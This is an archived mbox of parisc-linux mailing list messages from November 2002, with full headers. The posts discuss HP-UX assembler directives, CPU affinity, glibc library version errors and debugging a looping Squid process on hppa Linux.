X-Trace: ger.gmane.org 1416621955 17435 80.91.229.3 (22 Nov 2014 02:05:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 09:12:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A53B482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 09:12:02 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DB9D5CDB18; Fri, 22 Nov 2002 08:14:55 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <CB813811CBF6D3118DCC00902740BB4A0B8665D5@xsp01.brazil.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16886

> 	I would like to know about usage of .subspa, because I am converting
> some asm sourcecodes in hp-ux to linux.
> 	When iI will try to compile the source code with "cc --hppa-linux
> -std=iso9899:1990 -march=2.0 -mpa-risc-2-0 -D__KERNEL__ -I../../include -I.
> -c -o myfile.o myfile.s, the result is always" the same "Error: unknown
> pseudo-op: `.subspa'".
> 	Why this happens?

hppa-linux doesn't use the .subspa directive. depending on the
particular construct it will need to be translated into .text, .rodata,
.bss, etc...

HTH,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cpu affinity
Date: Fri, 22 Nov 2002 08:20:03 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <CB813811CBF6D3118DCC00902740BB4A0B89A7E7@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621955 17440 80.91.229.3 (22 Nov 2014 02:05:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 09:20:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id C30EA482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 09:20:37 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel12.hp.com (Postfix) with ESMTP id C8B10E00807
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 08:20:12 -0800 (PST)
Original-Received: from xpabh3.ptp.hp.com (xpabh3.ptp.hp.com [15.1.28.63])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id B70896B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 08:20:08 -0800 (PST)
Original-Received: by xpabh3.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <V52A86H6>; Fri, 22 Nov 2002 08:20:08 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16887

Hi people,

	Does anybody know if hppa linux implements cpu affinity?

Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852






From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cpu affinity
Date: Fri, 22 Nov 2002 16:23:52 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021122162352.C24043@parcelfarce.linux.theplanet.co.uk>
References: <CB813811CBF6D3118DCC00902740BB4A0B89A7E7@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621955 17444 80.91.229.3 (22 Nov 2014 02:05:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 09:24:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C62F0482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 09:24:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18FGav-0006hv-00; Fri, 22 Nov 2002 16:23:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <CB813811CBF6D3118DCC00902740BB4A0B89A7E7@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Fri, Nov 22, 2002 at 08:20:03AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16888

On Fri, Nov 22, 2002 at 08:20:03AM -0800, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> Hi people,
> 
> 	Does anybody know if hppa linux implements cpu affinity?

Yes, this is a generic facility.  AIUI the facility is not exposed to
userspace but it's used by (for example) ksoftirqd.

I assume you're talking about process <-> CPU affinity rather than any
other form of affinity ...

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Fri, 22 Nov 2002 18:00:41 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <3DAAAD460000417C@ocpmta1.be.tiscali.com>
References: <200211211605.gALG5IFM000465@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621956 17446 80.91.229.3 (22 Nov 2014 02:05:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:56 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 10:00:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A676482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:00:56 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18FHAZ-0008AF-00; Fri, 22 Nov 2002 18:00:43 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 22 Nov 2002 18:00:41 +0100
In-Reply-To: <200211211605.gALG5IFM000465@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16889

Hello Dave,

>> -DL_divI -xassembler-with-cpp -c /Develop/parisc-linux/src/gcc/gcc/config/pa/milli64.S
>> -o libgcc/./_divI.o
>> /Develop/parisc-linux/build/gcc/gcc/collect2: /lib/libc.so.6: version
`GLIBC_2.3'
>> not found (required by /Develop/parisc-linux/build/gcc/gcc/collect2)
>> make[2]: *** [libgcc/./_divI.oS] Error 1
>> make[2]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
>> make[1]: *** [libgcc.a] Error 2
>> make[1]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
>> make: *** [all-gcc] Error 2
>> 
>> ### Wed Nov 20 18:54:33 2002 ###
>> 
>> So it seems that it did not get the right path to the libc.so?
>
>Set LD_LIBRARY_PATH to include the directory where your new libc is.
>You may also want to set the GCC LIBRARY_PATH environment variable.
>
[Sorry I was cut from Internet for a long time]

But I also thought to add "LD_LIBRARY_PATH=$DEST/hppa-linux/lib" where is
located the new libc-2.3.1 and export but now the problem is into make:

make: /lib/ld.so.1: version 'GLIBC_PRIVATE' not found (required by /MyPath2/libc.so.6)

Do I wrongly build glibc or install?

Thanks again,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Squid-2.4.7 problem
Date: Fri, 22 Nov 2002 18:14:45 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <3DAAAD4600004184@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621956 17447 80.91.229.3 (22 Nov 2014 02:05:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 10:16:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8378C482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:16:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18FHOg-0001aE-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 18:15:18 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 22 Nov 2002 18:14:45 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16890

Hi all,

I try to install squid on a sarge install with a kernel 2.4.19-32. This squid
failled with data_page_fault.

As I would like to build an elementary FW there is no dev tools on this box.
So I try to debug the problem on my unstable (just update this morning) box
but here the problem is absolutly different: squid loop and a strace tells
me:
...
sched_yield()    =0
sched_yield()    =0
sched_yield()    =0
nanosleep({0, 2000001}, NULL)   =0
sched_yield()    =0
sched_yield()    =0
...

What should (could) I do ... 
in the first case I do not want to reinstall dev tools;
in the second one I do not know how to revert last apt-get update?

Thansk in advance,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Squid-2.4.7 problem
Date: Fri, 22 Nov 2002 09:33:19 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20021122173319.GG19331@tausq.org>
References: <3DAAAD4600004184@ocpmta1.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621956 17449 80.91.229.3 (22 Nov 2014 02:05:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 10:29:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC918482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:29:52 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C517FCDB18; Fri, 22 Nov 2002 09:33:19 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3DAAAD4600004184@ocpmta1.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16891

> I try to install squid on a sarge install with a kernel 2.4.19-32. This squid
> failled with data_page_fault.

if this is reproducible, it is much better if you generate a core file
and look at that instead.

> As I would like to build an elementary FW there is no dev tools on this box.
> So I try to debug the problem on my unstable (just update this morning) box
> but here the problem is absolutly different: squid loop and a strace tells
> me:
> ...
> sched_yield()    =0
> sched_yield()    =0

i suspect this is quite normal, depending on what squid is doing.

strace by default also only looks at the parent task. if any children
are fork()ed they will not be traced unless you tell it to. 

randolph


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Fri, 22 Nov 2002 12:30:48 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200211221730.gAMHUmfs005567@hiauly1.hia.nrc.ca>
References: <3DAAAD460000417C@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621957 17453 80.91.229.3 (22 Nov 2014 02:05:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:57 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 10:30:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41A53482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:30:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAMHUnot005569;
	Fri, 22 Nov 2002 12:30:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAMHUmfs005567;
	Fri, 22 Nov 2002 12:30:48 -0500 (EST)
In-Reply-To: <3DAAAD460000417C@ocpmta1.be.tiscali.com> from "jsoe0708@tiscali.be" at Nov 22, 2002 06:00:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16892

> But I also thought to add "LD_LIBRARY_PATH=$DEST/hppa-linux/lib" where is
> located the new libc-2.3.1 and export but now the problem is into make:
> 
> make: /lib/ld.so.1: version 'GLIBC_PRIVATE' not found (required by /MyPath2/libc.so.6)

I seem to be using a non-dynamic version of make to avoid problems like
this.  I will leave it to others to comment on the compatibility of 2.3.1
with previous versions of glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CM3 bootstrap ?
Date: Fri, 22 Nov 2002 18:20:46 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3DAAAD4600004187@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621957 17455 80.91.229.3 (22 Nov 2014 02:05:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 11:09:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC2C4482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 11:09:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18FHoD-0003Rb-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 18:41:41 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 22 Nov 2002 18:20:46 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16893

Hi all,

Don't know if it is the right place but searching to build a m3 bootstrap
for hppa linux, I find a way through SRC M3 (not yet sure it will works)
for which sources are open but not under GPL.

Is there a possibility that hp will release that sources under such a licence
in a near future?

Thanks in advance for info,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Squid-2.4.7 problem
Date: Fri, 22 Nov 2002 18:39:39 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <3DAAAD4600004194@ocpmta1.be.tiscali.com>
References: <20021122173319.GG19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621957 17457 80.91.229.3 (22 Nov 2014 02:05:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 11:09:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 519DA482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 11:09:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18FHmG-0002ZJ-00; Fri, 22 Nov 2002 18:39:40 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 22 Nov 2002 18:39:39 +0100
In-Reply-To: <20021122173319.GG19331@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16894

Hi Randolph,

>
>> I try to install squid on a sarge install with a kernel 2.4.19-32. This
>squid
>> failled with data_page_fault.
>
>if this is reproducible, it is much better if you generate a core file
>and look at that instead.

Good idea I will try.

>
>> As I would like to build an elementary FW there is no dev tools on this
>box.
>> So I try to debug the problem on my unstable (just update this morning)
>box
>> but here the problem is absolutly different: squid loop and a strace tells
>> me:
>> ...
>> sched_yield()    =0
>> sched_yield()    =0
>
>i suspect this is quite normal, depending on what squid is doing.
>
>strace by default also only looks at the parent task. if any children
>are fork()ed they will not be traced unless you tell it to. 
>
Hmm strace -f -p xxx 

says the same and no forks process?

I will try first the core dump.

Thanks,
    Joel



********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stdsyms.h
Date: Fri, 22 Nov 2002 10:36:08 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <CB813811CBF6D3118DCC00902740BB4A0B89AE6D@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
